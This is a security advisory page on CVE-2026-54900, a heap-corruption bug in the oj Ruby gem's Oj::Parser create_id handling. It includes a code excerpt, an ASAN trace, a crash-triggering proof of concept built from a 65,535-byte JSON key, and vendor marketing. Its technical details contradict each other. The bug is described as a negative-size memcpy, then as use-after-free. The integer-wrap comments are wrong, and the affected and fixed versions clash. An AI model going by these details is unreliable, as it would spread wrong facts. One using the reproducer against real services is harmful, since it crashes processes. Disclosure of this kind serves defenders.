Summary
Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling
Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.
Version
- Software: oj gem
- Affected: all versions with
ext/oj/usual.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/usual.c, form_attr:
// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
char buf[4096];
// ...
int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0
// or: 65535 cast to int = 65535 (fits),
// but blen = 65536 → INT overflow on +1 if slen=INT_MAX
// ...
memcpy(buf, "@", 1);
memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX
}
The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.
ASAN report:
==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 memcpy
#1 form_attr /ext/oj/usual.c:63
#2 cache_intern /ext/oj/cache.c:326
#3 get_attr_id /ext/oj/usual.c:186
#4 close_object_create /ext/oj/usual.c:374
#5 parse /ext/oj/parser.c:693
#6 parser_parse /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)
Reproduce
Generate the payload:
key = 'A' * 65535
with open('poc.json', 'w') as f:
f.write('{"json_class":"Oj::Bag","' + key + '":1}')
Trigger:
require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)
Impact
Memory is accessed after it has been freed, leading to undefined behavior in native code. Typical impact: memory corruption, crash, or potential code execution.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-54900? CVE-2026-54900 is a high-severity use after free vulnerability in oj (rubygems), affecting versions < 3.17.2. It is fixed in 3.17.3. Memory is accessed after it has been freed, leading to undefined behavior in native code.
- Which versions of oj are affected by CVE-2026-54900? oj (rubygems) versions < 3.17.2 is affected.
- Is there a fix for CVE-2026-54900? Yes. CVE-2026-54900 is fixed in 3.17.3. Upgrade to this version or later.
- Is CVE-2026-54900 exploitable, and should I be worried? Whether CVE-2026-54900 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54900 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54900? Upgrade
ojto 3.17.3 or later.